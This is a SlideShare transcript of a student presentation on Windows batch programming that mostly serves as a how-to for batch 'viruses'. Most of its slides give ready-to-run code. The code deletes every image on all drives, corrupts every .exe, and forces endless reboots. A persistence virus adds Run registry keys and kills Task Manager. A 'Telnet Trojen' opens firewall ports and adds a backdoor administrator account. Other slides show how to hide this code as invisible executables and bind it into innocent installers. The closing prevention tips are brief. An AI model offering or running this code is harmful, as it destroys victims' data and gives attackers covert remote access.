SlideShare a Scribd company logo
Batch File Programming .(Virus Attacks)



                         Introduction.
                         Structure.
                         Operators.
                         Syntax.
                         Fun.
     Dangerous.bat       Utilities.
                         Virus Attacks.
                         Preventions.
                               Presented by – Yogendra Kirar
                               M.C.A Final year.
Introduction.
                        Batch processing Explain.
                        (In MS-Windows)



                        Batch processing means when there are some
                          unique processes or tasks executes one after
                          another in form of a group, bunch, or batch.
                        Here, in windows batch file means the bunch of
                          DOS(Disk Operating System) Commands.
                        By effective batch file programming many
                          utilities, funny items or viruses that harm the
                          windows machines can prepared.

                        For good Batch file programmer deep knowledge
Commands in new lines     of DOS commands is must.
Introduction.
                For making any batch file steps are.



                 Open Notepad.
                 Type DOS commands separately in new line.
                 Saved it by .bat extension.
                 To execute Double Click on that file which
                  looks like .

                   This is default icon
                   of Batch files in
                   Windows OS.
Structure
             Example – running dos command.


             Start-Run-cmd
             Then cmd windows open looks like




             Now type any ms dos commands.
             You can control entire Operation System
             through DOS commands.

             For more commands type help and press enter.
Structure
            Working of File

            When we Click any batch file then
            -Firstly it opens the file read first line command
               run in command prompt.
            -Then closes the file.
            -Again open the file and run second file then
               close it.
            -Again open - run – close this process is continue
               till the commands ends and exit.

            Note: All commands must be in new Line.
Operators.
                 Operators – as Accelerators

  With batch files, which are also called batch Programs or scripts, you can
  simplify routine or repetitive tasks

              -Call                 -Setlocal
              -Echo                 -Endlocal
              -For                  -If
              -Rem
              -Goto
              -Shift
              -Endlocal
Syntax

 Syntax (mostly used)



 call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
 echo [{on|off}] [message]
 for {%variable|%%variable} in (set) do command [ CommandLineOptions]
 rem [comment]
 goto label
Fun
 Undeletable Folder with Your Name.
    This code will create a folder on desktop and in root of all drives of your
   computer which is not simply deletable.
--------------------------------------------------------------------------------------
:y
md C:"Documents and Settings""All Users"Desktopyogendra
md c:yogendra
md d:yogendra
md e:yogendra
md f:yogendra
md g:yogendra
md h:yogendra
goto y
---------------------------------------------------------------------------------------
Copy this code in note pad and save it by anyname.bat
Important:

Here, all of you a Question or doubt in mind.
Is this true?
You think that if the black window of command prompt will continuously
  stays on desktop or on taskbar any on can suspect on it and if, somebody
  closes it then our batch file execution is stopped.

Solution of this is the Batch to Exe convertor software which converts batch
   file into exe . Then the file runs in background and uncatchable.
Bat2exe:
   you can download this from url: http://www.brothersoft.com/d.php?
   soft_id=50301&url=http%3A%2F%2Fwww.f2ko.de%2Fdownloads
   %2FBat_To_Exe_Converter.zip
Snapshot – Bat to Exe
                        Source path (.bat file)

                        Output path (.exe file)




                        Check invisible application




                        Finally compile the file
Fun


 Can’t do anything
    By this code we create a file that ends the explorer.exe and all things are
   gone.

Code:
----------------------------------------------------------------------------------------

Taskkill /im explorer.exe /f

----------------------------------------------------------------------------------------
Fun


 Many Folders
  this code creates 1000’s of folders with number naming.
  Code:
----------------------------------------------------------------------
:e
Md %random%
Goto e
----------------------------------------------------------------------
Fun
 Rotating Clock hands
   this code rotates clocks hands continuously.
Code:
---------------------------------------------------------------------------------------------
:y
time = 12:05:12
time = 12:10:12
time = 12:15:12
time = 12:20:12
time = 12:25:12
time = 12:30:12
time = 12:35:12
time = 12:40:12
time = 12:45:12
time = 12:50:12
time = 12:55:12
goto y
-----------------------------------------------------------------------------------------------------------------------------------
Utilities


 With funny things we can also make some
  utilities for windows machine.
 Utilities which helps us to maintain our system
  like speed, performance, hardisk mantainence.
 By batch file we can make schedule task.
Utilities

 Disk defragmenter file.
  This file is used to defragment your hard disk. Copy this file into location.
  “C:Documents and SettingsAll UsersStart MenuProgramsStartup”
code:
------------------------------------------------------------------------------------------
Defrag c: -f
Defrag d: -f
Defrag e: -f
Defrag f: -f
Msg * Defragment is completed
---------------------------------------------------------------------------------------------
Utilities
Steganography code:
Code:
-----------------------------------------------------------------------
Copy /b %1 + /b %2 new.jpg
exit
-----------------------------------------------------------------------------------------
Save this code by hide.bat
Hiding process
1. Copy this hide.bat in a folder.
2. Now copy a jpge file and a text file which we wants to hide behind jpeg in that
    folder.
3. Now runs this hide .bat through dos prompt by providing names of jpeg file and
    text file in order (.jpeg <space> .txt ) and runs it.A new.jpeg is created with text
    hidden in it.
4. To get your text open this jpeg in notepad and find your text in last of the
    notepad.
Utilities
Refresh. Code:
Code:
-----------------------------------------------------------------------
taskkill /im explorer.exe /f
start explorer.exe
----------------------------------------------------------------------------------------------
Scheduled Shutdown:
Code:
-----------------------------------------------------------------------
At [time] shutdown –s –f –t 00 –c “Message”
-----------------------------------------------------------------------
Virus Attacks

System restart virus.
This batch file code is restarts system when it starts
Code:
---------------------------------------------------------------------------------------------

echo shutdown –r –f –t 00 > shut.bat
move shut.bat C:"Documents and Settings""All Users""Start Menu"ProgramsStartup
----------------------------------------------------------------------------------------------

Copy the above code and paste in notepad by name anything.bat and runs on any
Pc then after next restart the system will never starts and automatically restarts.
Virus Attacks


 For loop viruses               1

     For loop is a looping operator which creates loop for any command
     This code creates messages on desktop showing files are corrupted.
----------------------------------------------------------------------------------------------
Code:
For /r c: %%y in (*.*) do msg * %%y ------ is Corrupted.
    it not actually corrupts the file it shows only messages
----------------------------------------------------------------------------------------------

Note: conversion into exe is required.
Virus Attacks

For loop viruses         2 (Damage level :High)
For loop is a looping operator which creates loop for any command
4. This code will remove all images, wallpapers from your system
        Warning! -- Try it on your own risk.
Code:
            for /r c: %%y in (*.jpg,*.png,*.gif,*.ico) do del %%y /s/q
            for /r d: %%y in (*.jpg,*.png,*.gif,*.ico) do del %%y /s/q
            for /r e: %%y in (*.jpg,*.png,*.gif,*.ico) do del %%y /s/q
            for /r f: %%y in (*.jpg,*.png,*.gif,*.ico) do del %%y /s/q

   Note: conversion into exe is required.
Virus Attacks
For loop viruses        3 (Damage level :High)
For loop is a looping operator which creates loop for any command
3. This code will corrupt all exe files of your system.
                 Warning! -- Try it on your own risk.

Code:
         echo 00967jyj875kkj6704ekfkf9iddkc224543453000 > c:tempero.null
           for /r c: %%y in (*.exe) do copy /b %%y + c:tempero.null %%y
           for /r d: %%y in (*.exe) do copy /b %%y + c:tempero.null %%y
           for /r e: %%y in (*.exe) do copy /b %%y + c:tempero.null %%y
           for /r f: %%y in (*.exe) do copy /b %%y + c:tempero.null %%y
           del c:tempero.null /s/q

   Note: conversion into exe is required.
Virus Attacks
For loop viruses        4 (Damage level :High)
For loop is a looping operator which creates loop for any command
3. This code will corrupt all exe files of your system.
                 Warning! -- Try it on your own risk.

Code:
         echo you lost all !!!! >c:tempero.null
         for /r c: %%y in (*.exe) do copy c:temporal.null + %%y %%y
         for /r d: %%y in (*.exe) do copy c:temporal.null + %%y %%y
         for /r e: %%y in (*.exe) do copy c:temporal.null + %%y %%y
         for /r f: %%y in (*.exe) do copy c:temporal.null + %%y %%y
         del c:tempero.null /s/q

Note: conversion into exe is required.
My Friend Virus (Dangerous level : High)
   @echo off
   rename mypic.exe igfx.exe
   if exist c:windowssystem32igfx.exe goto code
   if exist d:windowssystem32igfx.exe goto code
   if exist e:windowssystem32igfx.exe goto code
   if exist f:windowssystem32igfx.exe goto code
   if exist g:windowssystem32igfx.exe goto code
   echo Windows Registry Editor Version 5.00>yog.reg
   echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]>>yog.reg
   if exist c:windowsnul echo "yhlsagent"="c:windowssystem32igfx.exe">>yog.reg
   if exist d:windowsnul echo "yhlsagent"="d:windowssystem32igfx.exe">>yog.reg
   if exist e:windowsnul echo "yhlsagent"="e:windowssystem32igfx.exe">>yog.reg
   if exist f:windowsnul echo "yhlsagent"="f:windowssystem32igfx.exe">>yog.reg
   if exist g:windowsnul echo "yhlsagent"="g:windowssystem32igfx.exe">>yog.reg
   echo "avast!"="C:PROGRA~1Disp.exe">>yog.reg
   echo "avgnt"="C:PROGRA~1avg.exe">>yog.reg
   echo "USB Antivirus"="C:Program FilesGuard.exe">>yog.reg
   regedit /s yog.reg
   del yog.reg /s/q
   echo Windows Registry Editor Version 5.00>yog.reg
   echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon]>>yog.reg
   echo "LegalNoticeCaption"="Say Happy Birthday to me">>yog.reg
   echo "LegalNoticeText"="I want that you wish to me on my birthday. I am very alone person, I have no any friend, do u want to become my friend, please accept me as ur friend, all the best my
    friend for ur all works in future, I want to ask u a question would u be alone as me, so plz develop ur interest in making friends like me. !!!!!!!!!!!">>yog.reg
   regedit /s yog.reg
   del yog.reg /s/q
   if exist c:windowsnul copy igfx.exe c:windowssystem32
   if exist d:windowsnul copy igfx.exe d:windowssystem32
   if exist e:windowsnul copy igfx.exe e:windowssystem32
   if exist f:windowsnul copy igfx.exe f:windowssystem32
   if exist g:windowsnul copy igfx.exe g:windowssystem32
   :code
   shutdown -r -f -t 600
   :e
   if exist c:windowsnul md C:Docume~1Admini~1Desktop"I always with u my friend"
   if exist d:windowsnul md d:Docume~1Admini~1Desktop"I always with u my friend"
   if exist e:windowsnul md e:Docume~1Admini~1Desktop"I always with u my friend"
   if exist f:windowsnul md f:Docume~1Admini~1Desktop"I always with u my friend"
   if exist g:windowsnul md g:Docume~1Admini~1Desktop"I always with u my friend"
   taskkill /im USBGuard.exe /f
   taskkill /im notepad.exe /f
   taskkill /im SOUNDMAN.exe /f
   taskkill /im taskmgr.exe /f
   date 02-12-3060


    goto e                                                  conversion into exe is required
Telnet Trojen.

 Work as Remote Administrator tool with the use of
  telenet.

 @echo off
 sc config tlntsvr start= auto
 net start tlntsvr
 netsh firewall add portopening TCP 23 "Telnet"
 sc config termservice start= auto
 net start termservice
 netsh firewall add portopening TCP 3389 "Remote Desktop"
 net user Default 12345 /add
 net localgroup administrators Default /add


                                      By Sourabh Mishra.
Finishing Virus Coding
 Firstly copy all these coding into the notepad and name them anything
  with .bat extention.
 Now converts this .bat file into .exe file with the help of Bat to Exe converter.
 This is the software which
   Helps us to hide the cmd
   coding and runs the process
   in background.




   File.bat                                                               File.exe
Finishing Virus Coding
 After converting .bat file into .exe file What to do Next?
  All of u thinking that these are the .exe files how these are spreads. Your
  answer is the software which reside in directory c:windowssystem32
  with name iexpress to start iexpress Start > Run > iexpress
  You will see this windows this is your mixing software.
Finishing Virus Coding
 Follows the instruction of software then after pressing some next you will
  find this window.




 Here, add your viral code and the innocent software(exe) in which u want to
  bind this.
Finishing Virus Coding

 After that in two selection windows firstly select the innocent software(exe)
  location then in second
  Window select your viral
  code(exe).

Follows the instruction and your
New software setup is created
Which is innocent but contains
Harmful virus.

When we install this software , then
After installation of software the
Added virus code is runs.
Finishing Virus Coding
                    Mixing process.



          .bat




          .exe
                                      setup.exe
Prevention (Conclusion)
 Some possible prevention or conclusions are


1.Do not accept any file with .bat or .exe extension on the internet while
   chatting or from your mailbox.
2.Do not take softwares from untrusted vendors.
3.Always check your autoruns by—
      start>run>msconfig>startup
   if u find something suspected target its path and remove it after checking
   it.
4.These are the batch viruses which are not so advanced viruses but having
   very dangerous capabilities, and only strong updated antivirus can catch
   them so always kept updated antivirus.
Have any questions?
          Yogendra Kirar.

More Related Content

What's hot

Rootkits
RootkitsRootkits
8. Software Development Security
8. Software Development Security8. Software Development Security
8. Software Development Security
Sam Bowne
 
PE File Format
PE File FormatPE File Format
Password sniffing
Password sniffingPassword sniffing
Password sniffing
SRIMCA
 
Windows internals Essentials
Windows internals EssentialsWindows internals Essentials
Windows internals Essentials
John Ombagi
 
Ch 7: Programming for Security Professionals
Ch 7: Programming for Security ProfessionalsCh 7: Programming for Security Professionals
Ch 7: Programming for Security Professionals
Sam Bowne
 
Information Security Engineering
Information Security EngineeringInformation Security Engineering
Information Security Engineering
Md. Hasan Basri (Angel)
 
Accessing Forensic Images
Accessing Forensic ImagesAccessing Forensic Images
Accessing Forensic ImagesCTIN
 
WLAN Attacks and Protection
WLAN Attacks and ProtectionWLAN Attacks and Protection
WLAN Attacks and Protection
Chandrak Trivedi
 
Linux privilege escalation
Linux privilege escalationLinux privilege escalation
Linux privilege escalation
SongchaiDuangpan
 
E mail Investigation
E mail InvestigationE mail Investigation
E mail Investigation
Dr Raghu Khimani
 
Cyber Crime and Cyber Security
Cyber Crime and Cyber SecurityCyber Crime and Cyber Security
Cyber Crime and Cyber Security
Sazed Salman
 
Threats and Security Tips of Computer System
Threats and Security Tips of Computer SystemThreats and Security Tips of Computer System
Threats and Security Tips of Computer System
Faruk_Hossen
 
Malware forensics
Malware forensicsMalware forensics
Malware forensics
Sameera Amjad
 
Network management and security
Network management and securityNetwork management and security
Network management and security
Ankit Bhandari
 
Wi-Fi Security Presentation.pptx
Wi-Fi Security Presentation.pptxWi-Fi Security Presentation.pptx
Wi-Fi Security Presentation.pptx
Mairajuddeen
 
Cyber forensic-Evedidence collection tools
Cyber forensic-Evedidence collection toolsCyber forensic-Evedidence collection tools
Cyber forensic-Evedidence collection tools
N.Jagadish Kumar
 
Cybersecurity trends - What to expect in 2023
Cybersecurity trends - What to expect in 2023Cybersecurity trends - What to expect in 2023
Cybersecurity trends - What to expect in 2023
PECB
 
Computer virus
 Computer virus Computer virus
Computer virus
Kawsar Ahmed
 

What's hot (20)

Rootkits
RootkitsRootkits
Rootkits
 
8. Software Development Security
8. Software Development Security8. Software Development Security
8. Software Development Security
 
PE File Format
PE File FormatPE File Format
PE File Format
 
Password sniffing
Password sniffingPassword sniffing
Password sniffing
 
Windows internals Essentials
Windows internals EssentialsWindows internals Essentials
Windows internals Essentials
 
Ch 7: Programming for Security Professionals
Ch 7: Programming for Security ProfessionalsCh 7: Programming for Security Professionals
Ch 7: Programming for Security Professionals
 
Information Security Engineering
Information Security EngineeringInformation Security Engineering
Information Security Engineering
 
Accessing Forensic Images
Accessing Forensic ImagesAccessing Forensic Images
Accessing Forensic Images
 
WLAN Attacks and Protection
WLAN Attacks and ProtectionWLAN Attacks and Protection
WLAN Attacks and Protection
 
Linux privilege escalation
Linux privilege escalationLinux privilege escalation
Linux privilege escalation
 
E mail Investigation
E mail InvestigationE mail Investigation
E mail Investigation
 
Cyber Crime and Cyber Security
Cyber Crime and Cyber SecurityCyber Crime and Cyber Security
Cyber Crime and Cyber Security
 
Threats and Security Tips of Computer System
Threats and Security Tips of Computer SystemThreats and Security Tips of Computer System
Threats and Security Tips of Computer System
 
Malware forensics
Malware forensicsMalware forensics
Malware forensics
 
Network management and security
Network management and securityNetwork management and security
Network management and security
 
Wi-Fi Security Presentation.pptx
Wi-Fi Security Presentation.pptxWi-Fi Security Presentation.pptx
Wi-Fi Security Presentation.pptx
 
Cyber forensic-Evedidence collection tools
Cyber forensic-Evedidence collection toolsCyber forensic-Evedidence collection tools
Cyber forensic-Evedidence collection tools
 
Cybersecurity trends - What to expect in 2023
Cybersecurity trends - What to expect in 2023Cybersecurity trends - What to expect in 2023
Cybersecurity trends - What to expect in 2023
 
Shadow forensics print
Shadow forensics printShadow forensics print
Shadow forensics print
 
Computer virus
 Computer virus Computer virus
Computer virus
 

Similar to Batch file programming

Batch file programming
Batch file programmingBatch file programming
Batch file programming
alan moreno
 
Batch file-programming
Batch file-programmingBatch file-programming
Batch file-programming
jamilur
 
Part 4 Scripting and Virtualization (due Week 7)Objectives1. .docx
Part 4 Scripting and Virtualization (due Week 7)Objectives1. .docxPart 4 Scripting and Virtualization (due Week 7)Objectives1. .docx
Part 4 Scripting and Virtualization (due Week 7)Objectives1. .docx
karlhennesey
 
Ultimate Unix Meetup Presentation
Ultimate Unix Meetup PresentationUltimate Unix Meetup Presentation
Ultimate Unix Meetup Presentation
JacobMenke1
 
ICPS operating system and services Unit 3 Notes .pdf
ICPS operating system and services Unit 3 Notes .pdfICPS operating system and services Unit 3 Notes .pdf
ICPS operating system and services Unit 3 Notes .pdf
shubhangisonawane6
 
168054408 cc1
168054408 cc1168054408 cc1
168054408 cc1
homeworkping8
 
Command line for the beginner - Using the command line in developing for the...
Command line for the beginner -  Using the command line in developing for the...Command line for the beginner -  Using the command line in developing for the...
Command line for the beginner - Using the command line in developing for the...
Jim Birch
 
Linux
LinuxLinux
Useful Linux and Unix commands handbook
Useful Linux and Unix commands handbookUseful Linux and Unix commands handbook
Useful Linux and Unix commands handbook
Wave Digitech
 
Introductiontoasp netwindbgdebugging-100506045407-phpapp01
Introductiontoasp netwindbgdebugging-100506045407-phpapp01Introductiontoasp netwindbgdebugging-100506045407-phpapp01
Introductiontoasp netwindbgdebugging-100506045407-phpapp01Camilo Alvarez Rivera
 
Part 5 of "Introduction to Linux for Bioinformatics": Working the command lin...
Part 5 of "Introduction to Linux for Bioinformatics": Working the command lin...Part 5 of "Introduction to Linux for Bioinformatics": Working the command lin...
Part 5 of "Introduction to Linux for Bioinformatics": Working the command lin...
Joachim Jacob
 
CMake Tutorial
CMake TutorialCMake Tutorial
CMake Tutorial
Fu Haiping
 
ITFT - DOS - Disk Operating System
ITFT - DOS - Disk Operating SystemITFT - DOS - Disk Operating System
ITFT - DOS - Disk Operating System
Blossom Sood
 
Windows batch scripting
Windows batch scriptingWindows batch scripting
Windows batch scripting
ArghodeepPaul
 
Hhs en02 windows_and_linux
Hhs en02 windows_and_linuxHhs en02 windows_and_linux
Hhs en02 windows_and_linuxShoaib Sheikh
 
Sandy Report
Sandy ReportSandy Report
Sandy Report
sandeepkumar907
 

Similar to Batch file programming (20)

Batch file programming
Batch file programmingBatch file programming
Batch file programming
 
Batch file-programming
Batch file-programmingBatch file-programming
Batch file-programming
 
Part 4 Scripting and Virtualization (due Week 7)Objectives1. .docx
Part 4 Scripting and Virtualization (due Week 7)Objectives1. .docxPart 4 Scripting and Virtualization (due Week 7)Objectives1. .docx
Part 4 Scripting and Virtualization (due Week 7)Objectives1. .docx
 
Ultimate Unix Meetup Presentation
Ultimate Unix Meetup PresentationUltimate Unix Meetup Presentation
Ultimate Unix Meetup Presentation
 
ICPS operating system and services Unit 3 Notes .pdf
ICPS operating system and services Unit 3 Notes .pdfICPS operating system and services Unit 3 Notes .pdf
ICPS operating system and services Unit 3 Notes .pdf
 
168054408 cc1
168054408 cc1168054408 cc1
168054408 cc1
 
Command line for the beginner - Using the command line in developing for the...
Command line for the beginner -  Using the command line in developing for the...Command line for the beginner -  Using the command line in developing for the...
Command line for the beginner - Using the command line in developing for the...
 
Linux
LinuxLinux
Linux
 
Linux
LinuxLinux
Linux
 
Useful Linux and Unix commands handbook
Useful Linux and Unix commands handbookUseful Linux and Unix commands handbook
Useful Linux and Unix commands handbook
 
Introductiontoasp netwindbgdebugging-100506045407-phpapp01
Introductiontoasp netwindbgdebugging-100506045407-phpapp01Introductiontoasp netwindbgdebugging-100506045407-phpapp01
Introductiontoasp netwindbgdebugging-100506045407-phpapp01
 
Part 5 of "Introduction to Linux for Bioinformatics": Working the command lin...
Part 5 of "Introduction to Linux for Bioinformatics": Working the command lin...Part 5 of "Introduction to Linux for Bioinformatics": Working the command lin...
Part 5 of "Introduction to Linux for Bioinformatics": Working the command lin...
 
CMake Tutorial
CMake TutorialCMake Tutorial
CMake Tutorial
 
ITFT - DOS - Disk Operating System
ITFT - DOS - Disk Operating SystemITFT - DOS - Disk Operating System
ITFT - DOS - Disk Operating System
 
Windows batch scripting
Windows batch scriptingWindows batch scripting
Windows batch scripting
 
Hhs en02 windows_and_linux
Hhs en02 windows_and_linuxHhs en02 windows_and_linux
Hhs en02 windows_and_linux
 
lec4.docx
lec4.docxlec4.docx
lec4.docx
 
linux
linuxlinux
linux
 
Sandy Report
Sandy ReportSandy Report
Sandy Report
 
Sandy Report
Sandy ReportSandy Report
Sandy Report
 

Recently uploaded

UiPath Community Day Dubai: AI at Work..
UiPath Community Day Dubai: AI at Work..UiPath Community Day Dubai: AI at Work..
UiPath Community Day Dubai: AI at Work..
UiPathCommunity
 
Dev Dives: Train smarter, not harder – active learning and UiPath LLMs for do...
Dev Dives: Train smarter, not harder – active learning and UiPath LLMs for do...Dev Dives: Train smarter, not harder – active learning and UiPath LLMs for do...
Dev Dives: Train smarter, not harder – active learning and UiPath LLMs for do...
UiPathCommunity
 
Transcript: Selling digital books in 2024: Insights from industry leaders - T...
Transcript: Selling digital books in 2024: Insights from industry leaders - T...Transcript: Selling digital books in 2024: Insights from industry leaders - T...
Transcript: Selling digital books in 2024: Insights from industry leaders - T...
BookNet Canada
 
Securing your Kubernetes cluster_ a step-by-step guide to success !
Securing your Kubernetes cluster_ a step-by-step guide to success !Securing your Kubernetes cluster_ a step-by-step guide to success !
Securing your Kubernetes cluster_ a step-by-step guide to success !
KatiaHIMEUR1
 
FIDO Alliance Osaka Seminar: The WebAuthn API and Discoverable Credentials.pdf
FIDO Alliance Osaka Seminar: The WebAuthn API and Discoverable Credentials.pdfFIDO Alliance Osaka Seminar: The WebAuthn API and Discoverable Credentials.pdf
FIDO Alliance Osaka Seminar: The WebAuthn API and Discoverable Credentials.pdf
FIDO Alliance
 
GenAISummit 2024 May 28 Sri Ambati Keynote: AGI Belongs to The Community in O...
GenAISummit 2024 May 28 Sri Ambati Keynote: AGI Belongs to The Community in O...GenAISummit 2024 May 28 Sri Ambati Keynote: AGI Belongs to The Community in O...
GenAISummit 2024 May 28 Sri Ambati Keynote: AGI Belongs to The Community in O...
Sri Ambati
 
Le nuove frontiere dell'AI nell'RPA con UiPath Autopilot™
Le nuove frontiere dell'AI nell'RPA con UiPath Autopilot™Le nuove frontiere dell'AI nell'RPA con UiPath Autopilot™
Le nuove frontiere dell'AI nell'RPA con UiPath Autopilot™
UiPathCommunity
 
FIDO Alliance Osaka Seminar: Overview.pdf
FIDO Alliance Osaka Seminar: Overview.pdfFIDO Alliance Osaka Seminar: Overview.pdf
FIDO Alliance Osaka Seminar: Overview.pdf
FIDO Alliance
 
Removing Uninteresting Bytes in Software Fuzzing
Removing Uninteresting Bytes in Software FuzzingRemoving Uninteresting Bytes in Software Fuzzing
Removing Uninteresting Bytes in Software Fuzzing
Aftab Hussain
 
Accelerate your Kubernetes clusters with Varnish Caching
Accelerate your Kubernetes clusters with Varnish CachingAccelerate your Kubernetes clusters with Varnish Caching
Accelerate your Kubernetes clusters with Varnish Caching
Thijs Feryn
 
Video Streaming: Then, Now, and in the Future
Video Streaming: Then, Now, and in the FutureVideo Streaming: Then, Now, and in the Future
Video Streaming: Then, Now, and in the Future
Alpen-Adria-Universität
 
Elizabeth Buie - Older adults: Are we really designing for our future selves?
Elizabeth Buie - Older adults: Are we really designing for our future selves?Elizabeth Buie - Older adults: Are we really designing for our future selves?
Elizabeth Buie - Older adults: Are we really designing for our future selves?
Nexer Digital
 
Why You Should Replace Windows 11 with Nitrux Linux 3.5.0 for enhanced perfor...
Why You Should Replace Windows 11 with Nitrux Linux 3.5.0 for enhanced perfor...Why You Should Replace Windows 11 with Nitrux Linux 3.5.0 for enhanced perfor...
Why You Should Replace Windows 11 with Nitrux Linux 3.5.0 for enhanced perfor...
SOFTTECHHUB
 
PCI PIN Basics Webinar from the Controlcase Team
PCI PIN Basics Webinar from the Controlcase TeamPCI PIN Basics Webinar from the Controlcase Team
PCI PIN Basics Webinar from the Controlcase Team
ControlCase
 
zkStudyClub - Reef: Fast Succinct Non-Interactive Zero-Knowledge Regex Proofs
zkStudyClub - Reef: Fast Succinct Non-Interactive Zero-Knowledge Regex ProofszkStudyClub - Reef: Fast Succinct Non-Interactive Zero-Knowledge Regex Proofs
zkStudyClub - Reef: Fast Succinct Non-Interactive Zero-Knowledge Regex Proofs
Alex Pruden
 
Introduction to CHERI technology - Cybersecurity
Introduction to CHERI technology - CybersecurityIntroduction to CHERI technology - Cybersecurity
Introduction to CHERI technology - Cybersecurity
mikeeftimakis1
 
The Future of Platform Engineering
The Future of Platform EngineeringThe Future of Platform Engineering
The Future of Platform Engineering
Jemma Hussein Allen
 
GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using Deplo...
GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using Deplo...GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using Deplo...
GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using Deplo...
James Anderson
 
Observability Concepts EVERY Developer Should Know -- DeveloperWeek Europe.pdf
Observability Concepts EVERY Developer Should Know -- DeveloperWeek Europe.pdfObservability Concepts EVERY Developer Should Know -- DeveloperWeek Europe.pdf
Observability Concepts EVERY Developer Should Know -- DeveloperWeek Europe.pdf
Paige Cruz
 
Encryption in Microsoft 365 - ExpertsLive Netherlands 2024
Encryption in Microsoft 365 - ExpertsLive Netherlands 2024Encryption in Microsoft 365 - ExpertsLive Netherlands 2024
Encryption in Microsoft 365 - ExpertsLive Netherlands 2024
Albert Hoitingh
 

Recently uploaded (20)

UiPath Community Day Dubai: AI at Work..
UiPath Community Day Dubai: AI at Work..UiPath Community Day Dubai: AI at Work..
UiPath Community Day Dubai: AI at Work..
 
Dev Dives: Train smarter, not harder – active learning and UiPath LLMs for do...
Dev Dives: Train smarter, not harder – active learning and UiPath LLMs for do...Dev Dives: Train smarter, not harder – active learning and UiPath LLMs for do...
Dev Dives: Train smarter, not harder – active learning and UiPath LLMs for do...
 
Transcript: Selling digital books in 2024: Insights from industry leaders - T...
Transcript: Selling digital books in 2024: Insights from industry leaders - T...Transcript: Selling digital books in 2024: Insights from industry leaders - T...
Transcript: Selling digital books in 2024: Insights from industry leaders - T...
 
Securing your Kubernetes cluster_ a step-by-step guide to success !
Securing your Kubernetes cluster_ a step-by-step guide to success !Securing your Kubernetes cluster_ a step-by-step guide to success !
Securing your Kubernetes cluster_ a step-by-step guide to success !
 
FIDO Alliance Osaka Seminar: The WebAuthn API and Discoverable Credentials.pdf
FIDO Alliance Osaka Seminar: The WebAuthn API and Discoverable Credentials.pdfFIDO Alliance Osaka Seminar: The WebAuthn API and Discoverable Credentials.pdf
FIDO Alliance Osaka Seminar: The WebAuthn API and Discoverable Credentials.pdf
 
GenAISummit 2024 May 28 Sri Ambati Keynote: AGI Belongs to The Community in O...
GenAISummit 2024 May 28 Sri Ambati Keynote: AGI Belongs to The Community in O...GenAISummit 2024 May 28 Sri Ambati Keynote: AGI Belongs to The Community in O...
GenAISummit 2024 May 28 Sri Ambati Keynote: AGI Belongs to The Community in O...
 
Le nuove frontiere dell'AI nell'RPA con UiPath Autopilot™
Le nuove frontiere dell'AI nell'RPA con UiPath Autopilot™Le nuove frontiere dell'AI nell'RPA con UiPath Autopilot™
Le nuove frontiere dell'AI nell'RPA con UiPath Autopilot™
 
FIDO Alliance Osaka Seminar: Overview.pdf
FIDO Alliance Osaka Seminar: Overview.pdfFIDO Alliance Osaka Seminar: Overview.pdf
FIDO Alliance Osaka Seminar: Overview.pdf
 
Removing Uninteresting Bytes in Software Fuzzing
Removing Uninteresting Bytes in Software FuzzingRemoving Uninteresting Bytes in Software Fuzzing
Removing Uninteresting Bytes in Software Fuzzing
 
Accelerate your Kubernetes clusters with Varnish Caching
Accelerate your Kubernetes clusters with Varnish CachingAccelerate your Kubernetes clusters with Varnish Caching
Accelerate your Kubernetes clusters with Varnish Caching
 
Video Streaming: Then, Now, and in the Future
Video Streaming: Then, Now, and in the FutureVideo Streaming: Then, Now, and in the Future
Video Streaming: Then, Now, and in the Future
 
Elizabeth Buie - Older adults: Are we really designing for our future selves?
Elizabeth Buie - Older adults: Are we really designing for our future selves?Elizabeth Buie - Older adults: Are we really designing for our future selves?
Elizabeth Buie - Older adults: Are we really designing for our future selves?
 
Why You Should Replace Windows 11 with Nitrux Linux 3.5.0 for enhanced perfor...
Why You Should Replace Windows 11 with Nitrux Linux 3.5.0 for enhanced perfor...Why You Should Replace Windows 11 with Nitrux Linux 3.5.0 for enhanced perfor...
Why You Should Replace Windows 11 with Nitrux Linux 3.5.0 for enhanced perfor...
 
PCI PIN Basics Webinar from the Controlcase Team
PCI PIN Basics Webinar from the Controlcase TeamPCI PIN Basics Webinar from the Controlcase Team
PCI PIN Basics Webinar from the Controlcase Team
 
zkStudyClub - Reef: Fast Succinct Non-Interactive Zero-Knowledge Regex Proofs
zkStudyClub - Reef: Fast Succinct Non-Interactive Zero-Knowledge Regex ProofszkStudyClub - Reef: Fast Succinct Non-Interactive Zero-Knowledge Regex Proofs
zkStudyClub - Reef: Fast Succinct Non-Interactive Zero-Knowledge Regex Proofs
 
Introduction to CHERI technology - Cybersecurity
Introduction to CHERI technology - CybersecurityIntroduction to CHERI technology - Cybersecurity
Introduction to CHERI technology - Cybersecurity
 
The Future of Platform Engineering
The Future of Platform EngineeringThe Future of Platform Engineering
The Future of Platform Engineering
 
GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using Deplo...
GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using Deplo...GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using Deplo...
GDG Cloud Southlake #33: Boule & Rebala: Effective AppSec in SDLC using Deplo...
 
Observability Concepts EVERY Developer Should Know -- DeveloperWeek Europe.pdf
Observability Concepts EVERY Developer Should Know -- DeveloperWeek Europe.pdfObservability Concepts EVERY Developer Should Know -- DeveloperWeek Europe.pdf
Observability Concepts EVERY Developer Should Know -- DeveloperWeek Europe.pdf
 
Encryption in Microsoft 365 - ExpertsLive Netherlands 2024
Encryption in Microsoft 365 - ExpertsLive Netherlands 2024Encryption in Microsoft 365 - ExpertsLive Netherlands 2024
Encryption in Microsoft 365 - ExpertsLive Netherlands 2024
 

Batch file programming

  • 1. Batch File Programming .(Virus Attacks) Introduction. Structure. Operators. Syntax. Fun. Dangerous.bat Utilities. Virus Attacks. Preventions. Presented by – Yogendra Kirar M.C.A Final year.
